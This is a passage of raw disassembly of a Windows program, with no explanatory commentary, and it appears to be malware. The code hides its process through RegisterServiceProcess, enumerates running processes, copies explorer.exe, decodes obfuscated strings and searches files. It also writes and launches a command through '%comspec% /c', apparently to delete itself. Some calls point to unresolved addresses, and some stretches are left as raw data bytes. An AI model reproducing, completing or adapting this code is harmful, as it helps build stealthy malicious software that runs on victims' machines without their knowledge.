		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_40CF40	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40CFC0:				; CODE XREF: ___:loc_40228Ej
		push	0FFFFFFFFh
		push	offset loc_43A086
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		lea	ecx, [esi+2Eh]
		mov	dword ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		lea	ecx, [esi+4]
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40D040	proc near		; CODE XREF: sub_40227Aj

var_548		= byte ptr -548h
var_51C		= byte ptr -51Ch
var_51B		= byte ptr -51Bh
var_408		= byte ptr -408h
var_304		= byte ptr -304h
var_200		= byte ptr -200h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h

		sub	esp, 548h
		lea	eax, [esp+548h+var_408]
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+554h+arg_10]
		push	edi
		mov	edi, dword_511AE4
		push	esi
		push	offset aS_1	; "%s\\*"
		push	104h
		push	eax
		call	edi	; _snprintf
		add	esp, 10h
		lea	ecx, [esp+558h+var_548]
		lea	edx, [esp+558h+var_408]
		push	ecx
		push	edx
		nop
		call	near ptr 2890000h
		mov	ebp, [esp+558h+arg_14]
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40D107


loc_40D090:				; CODE XREF: sub_40D040+C5j
		test	[esp+558h+var_548], 10h
		jz	short loc_40D0F7
		cmp	[esp+558h+var_51C], 2Eh
		jnz	short loc_40D0AA
		mov	al, [esp+558h+var_51B]
		test	al, al
		jz	short loc_40D0F7
		cmp	al, 2Eh
		jz	short loc_40D0F7


loc_40D0AA:				; CODE XREF: sub_40D040+5Cj
		lea	eax, [esp+558h+var_51C]
		lea	ecx, [esp+558h+var_304]
		push	eax
		push	esi
		push	offset dword_444684
		push	104h
		push	ecx
		call	edi	; _snprintf
		mov	eax, [esp+56Ch+arg_C]
		mov	ecx, [esp+56Ch+arg_8]
		lea	edx, [esp+56Ch+var_304]
		push	ebp
		push	edx
		mov	edx, [esp+574h+arg_4]
		push	eax
		mov	eax, [esp+578h+arg_0]
		push	ecx
		push	edx
		push	eax
		call	sub_40227A
		add	esp, 2Ch
		mov	ebp, eax


loc_40D0F7:				; CODE XREF: sub_40D040+55j
					; sub_40D040+64j ...
		lea	ecx, [esp+558h+var_548]
		push	ecx
		push	ebx
		nop
		call	near ptr 2880000h
		test	eax, eax
		jnz	short loc_40D090


loc_40D107:				; CODE XREF: sub_40D040+4Ej
		push	ebx
		call	near ptr 287073Dh
		nop
		mov	edx, [esp+558h+arg_C]
		lea	eax, [esp+558h+var_408]
		push	edx
		push	esi
		push	offset dword_444684
		push	104h
		push	eax
		call	edi	; _snprintf
		add	esp, 14h
		lea	ecx, [esp+558h+var_548]
		lea	edx, [esp+558h+var_408]
		push	ecx
		push	edx
		call	near ptr 2890000h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40D19B


loc_40D148:				; CODE XREF: sub_40D040+159j
		lea	eax, [esp+558h+var_51C]
		lea	ecx, [esp+558h+var_200]
		push	eax
		push	esi
		push	offset aFoundSS	; "Found: %s\\%s"
		push	200h
		push	ecx
		inc	ebp
		call	edi	; _snprintf
		mov	edx, [esp+56Ch+arg_8]
		mov	ecx, [esp+56Ch+arg_4]
		lea	eax, [esp+56Ch+var_200]
		push	edx
		mov	edx, [esp+570h+arg_0]
		push	eax
		push	ecx
		push	edx
		call	sub_40152D
		add	esp, 24h
		lea	eax, [esp+558h+var_548]
		push	eax
		push	ebx
		nop
		call	near ptr 2880000h
		test	eax, eax
		jnz	short loc_40D148


loc_40D19B:				; CODE XREF: sub_40D040+106j
		push	ebx
		call	near ptr 287073Dh
		nop
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 548h
		retn
sub_40D040	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40D210	proc near		; CODE XREF: sub_40104Bj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40D210
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	4
		push	4
		push	1
		push	13h
		lea	eax, [esp+58h+var_3C]
		push	1
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+19h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_40D210	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	5
		push	4
		push	13h
		lea	edx, [esp+1Ch]
		push	1
		push	edx
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+47h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	4
		push	4
		push	1
		push	3
		push	16h
		lea	ecx, [esp+20h]
		push	13h
		push	ecx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017EE
		lea	edx, [esi+75h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	5
		push	4
		push	3
		push	16h
		push	13h
		lea	eax, [esp+3Ch]
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		add	esi, 0A3h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40D3C0:				; CODE XREF: ___:004013CFj
		sub	esp, 104h
		lea	eax, [esp+0]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2891C12h
		push	eax
		call	near ptr 2891118h
		nop
		mov	eax, dword_449070
		test	eax, eax
		jz	loc_40D4E3
		mov	ecx, dword_44906C
		test	ecx, ecx
		jz	loc_40D4E3
		mov	ecx, dword_448F38
		test	ecx, ecx
		jz	loc_40D4E3
		push	0
		push	2
		call	eax	; CreateToolhelp32Snapshot
		cmp	eax, 0FFFFFFFFh
		mov	dword_449068, eax
		jz	loc_40D4E3
		push	ebp
		push	offset dword_448F40
		push	eax
		xor	ebp, ebp
		mov	dword_448F40, 128h
		call	dword_44906C	; Process32First
		test	eax, eax
		jz	loc_40D4CC
		push	ebx
		mov	ebx, [esp+110h]
		push	esi
		mov	esi, dword_511AE0
		push	edi


loc_40D44D:				; CODE XREF: ___:0040D4C7j
		mov	edi, offset dword_448F64
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+10h]
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, offset dword_448F64
		push	ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+14h]
		sub	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	offset dword_448F64
		add	edx, ecx
		push	edx
		call	esi	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40D4B3
		mov	edi, offset dword_448F64
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset dword_448F64
		mov	ecx, ebx
		call	sub_40168B
		push	eax
		call	esi	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40D4B4


loc_40D4B3:				; CODE XREF: ___:0040D48Bj
		inc	ebp


loc_40D4B4:				; CODE XREF: ___:0040D4B1j
		mov	eax, dword_449068
		push	offset dword_448F40
		push	eax
		call	dword_448F38	; Process32Next
		test	eax, eax
		jnz	short loc_40D44D
		pop	edi
		pop	esi
		pop	ebx


loc_40D4CC:				; CODE XREF: ___:0040D437j
		mov	ecx, dword_449068
		push	ecx
		nop
		call	near ptr 28506B2h
		mov	eax, ebp
		pop	ebp
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_40D4E3:				; CODE XREF: ___:0040D3E6j
					; ___:0040D3F4j ...
		xor	eax, eax
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40D540:				; CODE XREF: ___:00401FAFj
		sub	esp, 11Ch
		lea	eax, [esp+18h]
		push	ebx
		push	esi
		push	edi
		push	104h
		push	eax
		nop
		call	near ptr 28A0BAAh
		mov	edi, offset aExplorer_exe ; "\\explorer.exe"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+24h]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		push	80h
		and	ecx, 3
		push	3
		push	eax
		push	1
		rep movsb
		mov	edi, dword_5118F0
		lea	eax, [esp+38h]
		push	80000000h
		push	eax
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40D606
		lea	ecx, [esp+1Ch]
		lea	edx, [esp+0Ch]
		push	ecx
		lea	eax, [esp+18h]
		push	edx
		push	eax
		push	esi
		nop
		call	near ptr 28A0712h
		mov	ebx, dword_5118E0
		push	esi
		call	ebx
		mov	ecx, [esp+12Ch]
		push	0
		push	80h
		push	3
		push	0
		push	2
		push	40000000h
		push	ecx
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40D606
		lea	edx, [esp+1Ch]
		lea	eax, [esp+0Ch]
		push	edx
		lea	ecx, [esp+18h]
		push	eax
		push	ecx
		push	esi
		call	near ptr 28A0000h
		nop
		push	esi
		call	ebx


loc_40D606:				; CODE XREF: ___:0040D5A9j
					; ___:0040D5EBj
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 11Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40D660	proc near		; CODE XREF: sub_401B6Dj

var_19C		= byte ptr -19Ch
var_184		= byte ptr -184h
var_16C		= byte ptr -16Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_40D660
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 190h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+1A8h+var_16C]
		call	sub_40142E
		push	104h
		push	104h
		lea	ecx, [esp+1B0h+var_16C]
		mov	[esp+1B0h+var_4], 0
		call	sub_401C71
		push	eax
		nop
		call	near ptr 2810000h
		lea	ecx, [esp+1A8h+var_16C]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+4]
		call	sub_4015E1
		lea	ecx, [esp+1A8h+var_184]
		call	sub_40142E
		mov	ebx, 1
		push	104h
		push	104h
		lea	ecx, [esp+1B0h+var_184]
		mov	byte ptr [esp+1B0h+var_4], bl
		call	sub_401C71
		push	eax
		push	0
		nop
		call	near ptr 2891C12h
		push	eax
		call	near ptr 2891118h
		nop
		push	offset aKernel32_dll_0 ; "kernel32.dll"
		nop
		call	near ptr 280089Fh
		mov	esi, eax
		test	esi, esi
		jz	short loc_40D751
		mov	edi, dword_511918
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	esi
		call	edi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	esi
		mov	dword_449074, eax
		call	edi
		push	offset aProcess32first ; "Process32First"
		push	esi
		mov	dword_449070, eax
		call	edi
		push	offset aProcess32next ;	"Process32Next"
		push	esi
		mov	dword_44906C, eax
		call	edi
		mov	dword_448F38, eax
		mov	eax, dword_449074
		test	eax, eax
		jz	short loc_40D751
		push	ebx
		push	0
		call	eax


loc_40D751:				; CODE XREF: sub_40D660+A7j
					; sub_40D660+EAj
		mov	esi, [esp+1A8h+arg_0]
		push	0
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+1B0h+var_184]
		call	sub_402135
		test	eax, eax
		jnz	short loc_40D788
		mov	al, byte_44915F
		test	al, al
		jz	short loc_40D788
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40D788:				; CODE XREF: sub_40D660+10Dj
					; sub_40D660+116j
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	46h
		push	47h
		push	12h
		push	10h
		push	10h
		push	0Eh
		push	9
		lea	eax, [esp+1D8h+var_19C]
		push	17h
		push	eax
		call	sub_4019C4
		add	esp, 38h
		mov	ecx, eax
		mov	byte ptr [esp+1A8h+var_4], 2
		call	sub_4017EE
		push	eax
		call	sub_401604
sub_40D660	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	14h
		push	13h
		push	0Fh
		push	8
		push	0Ch
		push	0Ch
		lea	ecx, [esp+38h]
		push	4
		push	ecx
		call	sub_4019C4
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 3
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	4
		push	10h
		push	14h
		push	6
		lea	edx, [esp+30h]
		push	14h
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 4
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	14h
		push	13h
		push	ebx
		push	0Ch
		push	2
		push	13h
		lea	eax, [esp+38h]
		push	0Dh
		push	eax
		call	sub_4019C4
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 5
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	46h
		push	47h
		push	13h
		push	9
		push	0Eh
		push	5
		lea	ecx, [esp+38h]
		push	10h
		push	ecx
		call	sub_4019C4
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 6
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	8
		push	3
		push	14h
		push	ebx
		push	10h
		push	13h
		lea	edx, [esp+38h]
		push	0Dh
		push	edx
		call	sub_4019C4
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 7
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		db 83h
		dd 4C8D04C4h, 9C880C24h, 1A424h, 38D4E800h, 448DFFFFh
		dd 6A3C24h, 244C8D50h, 3EB4E82Ch, 0C085FFFFh, 116850Fh
		dd 8B550000h, 3E7CE8CEh, 6A50FFFFh, 244C8D5Ch, 3E70E848h
		dd 8D50FFFFh, 0A8248Ch,	10680000h, 5100444Bh, 1EE680E8h
		dd 3D8B9000h, 5118ACh, 0FF14C483h, 24948DD7h, 9Ch, 8D52006Ah
		dd 8B30244Ch, 3CD9E8E8h, 358BFFFFh, 511914h, 85D6FF50h
		dd 0FF3075C0h, 3DC52BD7h, 61A8h, 0D0682573h, 0E8000007h
		dd 2434488h, 24848D90h,	9Ch, 8D50006Ah,	0E830244Ch, 0FFFF3CA3h
		dd 85D6FF50h, 0A0D074C0h, 4497BBh, 74C0845Dh, 0D8358B39h
		dd 6800511Ah, 104h, 9C248C8Dh, 68000000h, 444B08h, 83D6FF51h
		dd 4C8D0CC4h, 4682424h,	0E8000001h, 0FFFF3DCAh,	9C24948Dh
		dd 50000000h, 83D6FF52h, 11B90CC4h, 33000000h, 247C8DC0h
		dd 24948D54h, 98h, 8966ABF3h, 842484h, 448D0000h, 4C8D0C24h
		dd 51505424h, 6A006Ah, 6A53286Ah, 52006A00h, 44C7006Ah
		dd 447C24h, 0E8900000h,	2402ADCh, 874C085h, 0E890006Ah
		dd 7782C3FEh, 24244C8Dh, 0A42484C6h, 1,	0FF3795E8h, 244C8DFFh
		dd 2484C73Ch, 1A4h, 0FFFFFFFFh,	0FF3781E8h, 248C8BFFh
		dd 19Ch, 5EC38A5Fh, 0D89645Bh, 0
; ---------------------------------------------------------------------------
		add	esp, 19Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40DBF0	proc near		; CODE XREF: sub_401195j
		mov	al, byte_449161
		test	al, al
		jz	short loc_40DC04
		push	offset word_449162
		nop
		call	near ptr 2800BFCh


loc_40DC04:				; CODE XREF: sub_40DBF0+7j
		mov	al, 1
		retn
sub_40DBF0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40DC20	proc near		; CODE XREF: sub_401E79j

var_6D0		= dword	ptr -6D0h
var_6CC		= dword	ptr -6CCh
var_6C8		= dword	ptr -6C8h
var_6C4		= dword	ptr -6C4h
var_6C0		= dword	ptr -6C0h
var_6BC		= dword	ptr -6BCh
var_6B8		= dword	ptr -6B8h
var_6B4		= dword	ptr -6B4h
var_6B0		= byte ptr -6B0h
var_6AC		= byte ptr -6ACh
var_694		= byte ptr -694h
var_67C		= byte ptr -67Ch
var_664		= byte ptr -664h
var_64C		= byte ptr -64Ch
var_634		= byte ptr -634h
var_61C		= byte ptr -61Ch
var_604		= byte ptr -604h
var_5EC		= byte ptr -5ECh
var_5D4		= byte ptr -5D4h
var_5BC		= byte ptr -5BCh
var_5A4		= byte ptr -5A4h
var_58C		= byte ptr -58Ch
var_574		= byte ptr -574h
var_564		= dword	ptr -564h
var_534		= word ptr -534h
var_520		= byte ptr -520h
var_41C		= byte ptr -41Ch
var_318		= byte ptr -318h
var_214		= byte ptr -214h
var_110		= byte ptr -110h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40DC20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 6C4h
		push	esi
		lea	eax, [esp+6D4h+var_41C]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2891C12h
		push	eax
		nop
		call	near ptr 2891118h
		lea	ecx, [esp+6D4h+var_318]
		push	ecx
		push	104h
		nop
		call	near ptr 27F0000h
		push	0
		push	14h
		push	1
		push	2
		push	4Fh
		push	0Fh
		push	12h
		push	6
		lea	edx, [esp+6F4h+var_5EC]
		push	1
		push	edx
		call	sub_4019C4
		add	esp, 28h
		mov	ecx, eax
		mov	[esp+6D4h+var_4], 0
		call	sub_4017EE
		push	eax
		lea	eax, [esp+6D8h+var_318]
		push	eax
		lea	ecx, [esp+6DCh+var_520]
		push	offset dword_444684
		push	ecx
		call	sub_5FC011
		nop
		add	esp, 10h
		lea	ecx, [esp+6D4h+var_5EC]
		mov	[esp+6D4h+var_4], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0
		push	2
		push	0
		push	0
		lea	edx, [esp+6E8h+var_520]
		push	40000000h
		push	edx
		nop
		call	near ptr 28703F9h
		mov	esi, eax
		test	esi, esi
		jbe	loc_40E178
		push	ebx
		push	ebp
		push	edi
		lea	ecx, [esp+6E0h+var_6AC]
		call	sub_40142E
		push	0
		push	14h
		push	1
		push	2
		lea	eax, [esp+6F0h+var_604]
		push	4Fh
		push	eax
		mov	[esp+6F8h+var_4], 1
		call	sub_4019C4
		mov	edi, eax
		push	0
		push	39h
		push	10h
		push	0Dh
		push	5
		push	14h
		push	39h
		push	4Eh
		push	0Ch
		push	5
		lea	ecx, [esp+720h+var_634]
		push	4
		push	ecx
		mov	byte ptr [esp+728h+var_4], 2
		call	sub_4019C4
		add	esp, 48h
		mov	ebp, eax
		push	0
		push	14h
		push	1
		push	2
		lea	edx, [esp+6F0h+var_664]
		push	4Fh
		push	edx
		mov	byte ptr [esp+6F8h+var_4], 3
		call	sub_4019C4
		mov	ebx, eax
		push	0
		push	39h
		push	10h
		push	0Dh
		push	5
		push	14h
		push	39h
		push	4Eh
		push	20h
		push	52h
		push	4Eh
		push	0Ch
		push	5
		lea	eax, [esp+72Ch+var_67C]
		push	4
		push	eax
		mov	byte ptr [esp+734h+var_4], 4
		call	sub_4019C4
		add	esp, 54h
		mov	[esp+6E0h+var_6B4], eax
		push	0
		push	5
		push	0Eh
		push	0Fh
		push	4
		lea	ecx, [esp+6F4h+var_61C]
		push	53h
		push	ecx
		mov	byte ptr [esp+6FCh+var_4], 5
		call	sub_4019C4
		mov	[esp+6FCh+var_6C8], eax
		mov	byte ptr [esp+6FCh+var_4], 6
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		push	4Eh
		push	0Fh
		push	14h
		push	0Fh
		lea	edx, [esp+724h+var_5D4]
		push	7
		push	edx
		call	sub_4019C4
		add	esp, 4Ch
		mov	[esp+6E0h+var_6B8], eax
		push	0
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	0Ch
		push	5
		lea	eax, [esp+708h+var_5A4]
		push	4
		push	eax
		mov	byte ptr [esp+710h+var_4], 7
		call	sub_4019C4
		mov	[esp+710h+var_6C0], eax
		push	0
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	20h
		push	52h
		push	4Eh
		push	0Ch
		push	5
		lea	ecx, [esp+744h+var_58C]
		push	4
		push	ecx
		mov	byte ptr [esp+74Ch+var_4], 8
		call	sub_4019C4
		add	esp, 6Ch
		mov	[esp+6E0h+var_6D0], eax
		push	0
		push	5
		push	0Eh
		push	0Fh
		push	4
		push	4Eh
		push	0Fh
		push	14h
		push	0Fh
		push	7
		push	4Eh
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	14h
		push	13h
		push	9
		push	18h
		push	5
		push	4Eh
		push	14h
		mov	byte ptr [esp+744h+var_4], 9
		push	0Fh
		push	0Eh
		push	4Eh
		push	6
		lea	edx, [esp+754h+var_694]
		push	9
		push	edx
		call	sub_4019C4
		mov	[esp+75Ch+var_6CC], eax
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		lea	eax, [esp+774h+var_5BC]
		push	53h
		push	eax
		mov	byte ptr [esp+77Ch+var_4], 0Ah
		call	sub_4019C4
		add	esp, 9Ch
		mov	[esp+6E0h+var_6C4], eax
		push	0
		push	6
		push	6
		push	0Fh
		push	4Eh
		push	0Fh
		push	8
		push	3
		push	5
		lea	ecx, [esp+704h+var_64C]
		push	56h
		push	ecx
		mov	byte ptr [esp+70Ch+var_4], 0Bh
		call	sub_4019C4
		add	esp, 2Ch
		mov	[esp+6E0h+var_6BC], eax
		mov	ecx, edi
		mov	byte ptr [esp+6E0h+var_4], 0Ch
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		mov	ecx, [esp+6E8h+var_6B4]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+6ECh+var_6C8]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+6F0h+var_6B8]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+6F4h+var_6C0]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+6F8h+var_6D0]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+6FCh+var_6CC]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+700h+var_6C4]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+704h+var_6BC]
		push	eax
		call	sub_4017EE
		push	eax
		lea	edx, [esp+70Ch+var_6AC]
		push	offset aSSSSSSSSSS ; "%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r%s\r\n%s\r%s\r\n"
		push	edx
		call	sub_40102D
		add	esp, 34h
		mov	byte ptr [esp+6E0h+var_4], 0Bh
		lea	ecx, [esp+6E0h+var_64C]
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5BC]
		mov	byte ptr [esp+6E0h+var_4], 0Ah
		call	sub_401226
		lea	ecx, [esp+6E0h+var_694]
		mov	byte ptr [esp+6E0h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+6E0h+var_58C]
		mov	byte ptr [esp+6E0h+var_4], 8
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5A4]
		mov	byte ptr [esp+6E0h+var_4], 7
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5D4]
		mov	byte ptr [esp+6E0h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+6E0h+var_61C]
		mov	byte ptr [esp+6E0h+var_4], 5
		call	sub_401226
		lea	ecx, [esp+6E0h+var_67C]
		mov	byte ptr [esp+6E0h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+6E0h+var_664]
		mov	byte ptr [esp+6E0h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+6E0h+var_634]
		mov	byte ptr [esp+6E0h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+6E0h+var_604]
		mov	byte ptr [esp+6E0h+var_4], 1
		call	sub_401226
		lea	eax, [esp+6E0h+var_6B0]
		push	0
		push	eax
		push	69h
		lea	ecx, [esp+6ECh+var_6AC]
		call	sub_4017EE
		push	eax
		push	esi
		call	near ptr 2800000h
		nop
		push	esi
		nop
		call	near ptr 28506B2h
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+6E0h+var_564]
		push	104h
		rep stosd
		lea	ecx, [esp+6E4h+var_41C]
		mov	[esp+6E4h+var_564], 44h
		push	ecx
		push	eax
		mov	[esp+6ECh+var_534], ax
		nop
		call	near ptr 2891C12h
		push	eax
		nop
		call	near ptr 2891118h
		lea	edx, [esp+6E0h+var_41C]
		lea	eax, [esp+6E0h+var_520]
		push	edx
		push	eax
		lea	ecx, [esp+6E8h+var_214]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	ecx
		call	sub_5FC011
		nop
		add	esp, 10h
		lea	edx, [esp+6E0h+var_110]
		lea	eax, [esp+6E0h+var_214]
		push	104h
		push	edx
		push	eax
		nop
		call	near ptr 2820000h
		lea	ecx, [esp+6E0h+var_574]
		lea	edx, [esp+6E0h+var_564]
		push	ecx
		push	edx
		push	0
		push	0
		push	28h
		push	1
		push	0
		push	0
		lea	eax, [esp+700h+var_110]
		push	eax
		push	0
		nop
		call	near ptr 2810550h
		lea	ecx, [esp+6E0h+var_6AC]
		mov	[esp+6E0h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	ebp
		pop	ebx
		mov	al, 1
		pop	esi
		mov	ecx, [esp+6D0h+var_C]
		mov	large fs:0, ecx
		add	esp, 6D0h
		retn
; ---------------------------------------------------------------------------


loc_40E178:				; CODE XREF: sub_40DC20+D6j
		mov	ecx, [esp+6D4h+var_C]
		mov	al, 1
		pop	esi
		mov	large fs:0, ecx
		add	esp, 6D0h
		retn
sub_40DC20	endp

; ---------------------------------------------------------------------------
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40E2F0	proc near		; CODE XREF: sub_401730j

var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_40E2F0
		mov	eax, large fs:0
		push	eax
